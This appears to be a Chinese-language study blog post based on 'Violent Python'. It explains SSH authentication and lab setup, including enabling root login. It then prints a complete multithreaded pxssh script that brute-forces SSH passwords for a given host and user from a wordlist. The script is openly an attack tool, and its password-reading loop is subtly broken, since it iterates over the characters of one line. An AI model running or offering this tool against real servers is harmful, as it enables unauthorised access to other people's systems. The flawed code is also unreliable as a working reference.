天天看點

python—用Pxssh暴力破解SSH密碼

用Pxssh暴力破解SSH密碼

參考于《python絕技 運用python成為頂級黑客》

1. SSH相關介紹:

SSH是主要用于為遠端登陸會話提供安全保障的協定(即實作遠端指令行操作)

SSH可提供兩種級别的安全驗證:

1.基于密碼的安全驗證:

通過帳号和密碼登入到遠端主機

攻擊方式:暴力破解 / “中間人”攻擊

這裡需要說明一下:在暴力破解時,輸錯多次密碼會斷掉連接配接,這時重新連接配接即可,有的伺服器錯誤次數太多了還會鎖IP,那這方法就不行了。(之前有考慮過用python改IP再重新連接配接,但由于無法接收到伺服器回彈的ssh連接配接,就放棄這種操作了。)

2.基于密匙的安全驗證:

需要依靠密匙,也就是你必須為自己建立一對密匙,并把公用密匙放在需要通路的伺服器上。如果你要連接配接到SSH伺服器上,用戶端軟體就會向伺服器送出請求,請求用你的密匙進行安全驗證。

攻擊方式:暴力破解(網絡上可以下載下傳所有的1024位/2048位密鑰,但量太大,據一位大佬說:這個破解就不要去想了,難度極大,并且目前大部分都是使用基于密匙的安全驗證)

2. 環境搭建:

我們可以再虛拟機上搭建ssh服務,用主機進行連接配接

1.安裝ssh服務:

redhat,fedora,centos等系列linux發行版:sudo yum install sshd

debian,ubuntu,linux mint等系列的linux發行版:sudo apt-get install sshd

2.開啟ssh服務:sudo service sshd start

3.檢視ssh服務狀态的指令:sudo service sshd status

4.ssh服務配置檔案:/etc/ssh/sshd_config

注意配置檔案的以下參數:

#LoginGraceTime 2m      #限制使用者必須在指定的時限(機關秒)内認證成功,0 表示無限制
PermitRootLogin yes	 #是否允許 root 登入,預設為no,請修改為yes,注意去掉前面的‘#’才能生效
#MaxAuthTries 6         #指定每個連接配接最大允許的認證次數
#MaxSessions 10        #最大保持連接配接數
#PubkeyAuthentication yes       #是否支援公鑰安全驗證

           

如果ssh遠端連接配接不上,請确認防火牆是否放行ssh端口,和配置檔案中PermitRootLogin yes允許 root 登入是否生效

5.連接配接ssh:

主機cmd下執行:

ssh [email protected]

例如:ssh root @ 127.0.0.1

然後按照提示輸入yes,輸入密碼。

3.子產品講解:

pxssh:

pxssh是一個包含了pexpect庫的專用腳本(似乎還不能再windows下使用),它能用預先寫好的login(),logout(),prompt()等函數直接與SSH進行互動

當然,pexpect庫主要用于與SSH進行互動,不過有些代碼得自己寫,這裡還是用pxssh吧

optparse:

用來給自己寫的函數 設定如何輸入,輸入什麼類型的值,以及設定幫助說明等。

如果不太了解怎麼使用,可以看看我之前的 python 編寫端口掃描器 中有對該子產品的詳細說明和示例:python 編寫端口掃描器

threading:

多線程子產品

簡單來說就是這樣用:

t=Thread(target=connect,args=(host,user,password,True))   #相當于調用connect()函數
 child=t.start()    #啟動函數
 #啟動一個線程就是把一個函數傳入并建立Thread執行個體,然後調用start()開始執行
 #這裡多線程調用connect()函數,參數為args
           

詳情可以看看别人的:廖雪峰的官方網站-python

BoundedSemaphore()對象:

不過,本次還用到了一個不太常見的threading子產品中的BoundedSemaphore()函數。

我們可以把它了解為一個類似計數器的對象,該對象會檢查内部計數器的值,并保證它不會大于某個初始設定的值,如果大于了,就會引發一個錯誤。

而調用 acquire() 會使這個計數器 -1,release() 則是+1。

另外計數器的值永遠不會小于 0,當計數器到 0 時,再調用 acquire() 就會阻塞,直到其他線程來調用release()。

簡單的使用方式:

from threading import *
connection_lock=BoundedSemaphore(value=5)
#建構一個類似計數器的對象connection_lock,該對象會檢查内部計數器的值,并保證它不會大于初始值value,如果超了,就引發一個ValueError。
connection_lock.release()    #connection_lock計數器值+1
connection_lock.acquire()    #connection_lock計數器值-1
           

4.代碼講解:

注意以下内容可以更好的幫我們了解程式:

BoundedSemaphore()計數器的使用和數值的變化

全局變量found 和 fails 的變化

布爾型變量release 和 release() 計數器+1函數的區分

多線程子產品的運作過程

程式的(前半部分)連接配接函數connect():

from pexpect import pxssh
import optparse
import time
from threading import *   #多線程子產品
maxconnections=5
connection_lock=BoundedSemaphore(value=maxconnections)
#建構一個類似計數器的對象,該對象會檢查内部計數器的值,并保證它不會大于初始值value,如果超了,就引發一個ValueError。
#該對象在内部管理着一個計數器。調用 acquire() 會使這個計數器 -1,release() 則是+1.
#計數器的值永遠不會小于 0,當計數器到 0 時,再調用 acquire() 就會阻塞,直到其他線程來調用release()
found=False
fails=0

def connect(host,user,password,release):
    #布爾變量release,因為connect()可以遞歸調用另一個connect(),
    #我們必須讓不是connect()遞歸調用的connect()函數才能釋放connection_lock信号
    global found
    global fails
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        print('[+] password found: '+ password)
        found=True
    except Exception as e:
        if 'read_nonblocking' in str(e):  #異常顯示為read_nonblocking,可能是ssh伺服器被大量的連接配接刷爆了,可以等待片刻後再嘗試連接配接
            fails +=1
            time.sleep(5)
            connect(host,user,password,False)     #再次進行連接配接
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host,user,password,False)
    finally:  #finally:無論是否有異常産生,均執行
        if release: connection_lock.release()   #release()使該計數器對象connection_lock值+1
           

比較有借鑒意義的是connect()函數對連接配接所出現的各種情況的考慮

正如書上所說:

connect()函數,如果login()函數執行成功,并且沒有抛出異常,我們将列印一個消息,表明密碼已被找到,并把表示密碼已被找到的全局布爾值設為true 。否則,我們将捕獲該異常。如果異常顯示密碼被拒絕,我們知道這個密碼不對,讓函數傳回即可。但是,如果異常顯示socket為"read_nonblocking",可能是SSH伺服器被大量的連接配接刷爆了,可以稍等片刻後用相同的密碼再試一次。此外,如果該異常顯示pxssh指令提示符提取困難,也應等待一會兒,然後讓它再試一次。請注意,在connect()函數的參數裡有一個布爾量release。由于connect()可以遞歸地調用另一個connect(),我們必須讓隻有不是由connect()遞歸調用的connect()函數才能夠釋放connection_lock信号。

主函數部分:

def main():
    parser=optparse.OptionParser('usage%prog '+'-H <target host> -u <user> -F <password list>')
    parser.add_option('-H',dest='tgtHost',type='string',help='specify tgrget host')
    parser.add_option('-F',dest='passwdFile',type='string',help='specify password file')
    parser.add_option('-u',dest='user',type='string',help='specify the user')
    (options,args)=parser.parse_args()  #options是一個對象,儲存有之前接收到的指令行參數值
    host=options.tgtHost
    passwdFile=options.passwdFile
    user=options.user     #上面三行,将通過指令行輸入的數值依次指派給相應參數

    if host==None or passwdFile==None or user==None:  #如果沒有接收到相應參數,即輸出usage,程式結束
        print(parser.usage)     #即輸出 'usage%prog '+'-H <target host> -u <user> -F <password list>'
        exit(0)
    user=options.user     #?
    fn=open(passwdFile,'r')
    user=options.user     #?
    for line in fn.readline():
        user=options.user
        if found:
            print('[*] exiting: password found')
            exit(0)
        if fails>5:
            print('[*] exiting: too many socket timeout')
            exit(0)
        connection_lock.acquire()   #acquire()會使這個計數器值 -1
        password=line.strip('\r').strip('\n')
        print('[-] testing: '+ str(password))
        t=Thread(target=connect,args=(host,user,password,True))   #相當于調用connect()函數
        child=t.start()
        # 啟動一個線程就是把一個函數傳入并建立Thread執行個體,然後調用start()開始執行
        #多線程調用connect()函數,參數為args

if __name__=='__main__':
    main()
           

比較讓我無法了解的是程式中為什麼要重複使用user=options.user (在上述代碼中已用’#?'标出)

在pycharm中設定好參數例如:-H 192.168.10.10 -u root -F pass.txt

點選運作我們會得到這樣的錯誤:

Traceback (most recent call last):
  File "G:/PycharmProjects/Pxssh/px ssh.py", line 1, in <module>
    from pexpect import pxssh
  File "D:\Anaconda3\lib\site-packages\pexpect\pxssh.py", line 23, in <module>
    from pexpect import ExceptionPexpect, TIMEOUT, EOF, spawn
ImportError: cannot import name 'spawn'

Process finished with exit code 1

           

查詢之後才發現,pexpect和pxssh腳本還不能在windows的标準 python 環境中執行

那真是太糟糕了,既然這樣,不如先了解一下代碼,等以後想起來了再嘗試一下